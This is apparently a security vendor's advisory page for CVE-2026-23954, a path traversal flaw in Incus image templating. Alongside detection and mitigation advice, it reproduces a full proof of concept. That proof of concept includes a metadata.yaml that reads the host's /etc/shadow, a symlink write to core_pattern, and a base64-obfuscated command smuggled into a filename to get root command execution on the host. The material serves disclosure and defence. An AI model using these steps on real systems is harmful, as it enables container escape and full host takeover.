CVE-2026-23954 — incusd
HIGHCVE-2026-23954 is a high-severity (CVSS 8.7) Path Traversal vulnerability in github.com/lxc/incus/v6/cmd/incusd. No vendor fix is recorded yet; mitigation options are listed below.
Incus container image templating arbitrary host file read and write
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-23954.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-23954 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/lxc/incus/v6/cmd/incusdReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A user with the ability to launch a container with a custom image (e.g a member of the ‘incus’ group) can use directory traversal or symbolic links in the templating functionality to achieve host arbitrary file read, and host arbitrary file write, ultimately resulting in arbitrary command execution on the host. This can also be exploited in IncusOS.
Details
When using an image with a metadata.yaml containing templates, both the source and target paths are not checked for symbolic links or directory traversal. [1] [2] For example, the following metadata.yaml snippet can read an arbitrary file from the host root filesystem as root, and place it inside the container:
templates:
/shadow:
when:
- start
template: ../../../../../../../../etc/shadow
Additionally, the path of the target of the template is not checked or opened safely, and can therefore contain symbolic links pointing outside the container root filesystem. For example:
templates:
/realroot/proc/sys/kernel/core_pattern:
when:
- start
template: core_pattern.tpl
Where the container root filesystem contains a symbolic link named /realroot pointing to /. This will cause the contents of the template (from the normal "templates" directory in this case) to be written to the host root filesystem as root.
This can be exploited to achieve arbitrary command execution on the host by overwriting key files. In the provided proof of concept, I am overwriting /proc/sys/kernel/core_pattern, followed by causing a crash inside the container once launched to execute arbitrary commands on the host. Many other methods are possible depending on the host operating system and configuration.
This vulnerability can be exploited by any user who can launch a new container with a custom image.
Exploiting this vulnerability on IncusOS requires a slight modification of stage2 to change to a different writable directory for the validation step (e.g /tmp). This can be confirmed with a second container with /tmp mounted from the host (A privileged action for validation only).
[1] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7215 [2] https://github.com/lxc/incus/blob/HEAD/internal/server/instance/drivers/driver_lxc.go#L7294
PoC
A proof of concept script for the following can be found attached, named template_arbitrary_write.sh, which will show reading of a file from the host filesystem (/etc/shadow), as well as a method for escaping from the container to achieve arbitrary command execution, which will write a file to the root filesystem (/template_arbitrary_write_cmd_exec_poc).
Manual Reproduction steps:
- Obtain and unpack a legitimate root filesystem (e.g alpine/edge) into a directory named rootfs
- Inside the unpacked root filesystem, create a symbolic link named ‘realroot’ (i.e
ln -s / rootfs/realroot) - Create a directory named “templates” alongside the rootfs directory. Include a file
core_pattern.tplcontaining|/bin/sh -c "%E" - Additionally, add files segfault.c and stage2 to the root filesystem (listed below), setting stage2 executable (
chmod +x rootfs/stage2 - Create a
metadata.yamlfor this image. Sample listed below - Create the image archive (
tar cf poc.tar *) and import into incus (incus image import poc.tar --alias poc) - Launch the newly imported image and obtain a shell (
incus launch poc poc --ephemeral; incus shell poc) - Observe that the file
/shadowinside the container contains the contents of the/etc/shadowfile from the host (host file read vulnerability) - Compile
segfault.cinto a file namedx$(echo L3Zhci9saWIvaW5jdXMvY29udGFpbmVycy8qL3Jvb3Rmcy9zdGFnZTIK|base64 -d|sh). This filename will be interpolated into the%Evalue set in thecore_patternby the host file write vulnerability, and will find and execute the stage2 binary inside the container rootfs. - Execute the compiled binary (e.g
/x*). Observe the creation of the file/template_arbitrary_write_cmd_exec_pocon the host, containing the output of 'id' showing command execution by the host root user.
segfault.c:
int main() {
int *p = 0;
*p = 42;
return 0;
}
stage2:
#!/bin/sh
id > /template_arbitrary_write_cmd_exec_poc
metadata.yaml:
architecture: x86_64
creation_date: 1
properties:
architecture: amd64
description: Exploit
os: Exploit
release: Exploit 1.0
templates:
/shadow:
when:
- start
template: ../../../../../../../../etc/shadow
/realroot/proc/sys/kernel/core_pattern:
when:
- start
template: core_pattern.tpl
Impact
A user with the ability to launch a container with a custom image can achieve arbitrary command execution on the host.
Attachments
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lxc/incus/v6/cmd/incusd | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lxc/incus/v6/cmd/incusd, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of github.com/lxc/incus/v6/cmd/incusd has shipped for CVE-2026-23954 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-23954 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-23954. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-23954 in your dependencies?
O3 Security finds CVE-2026-23954 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.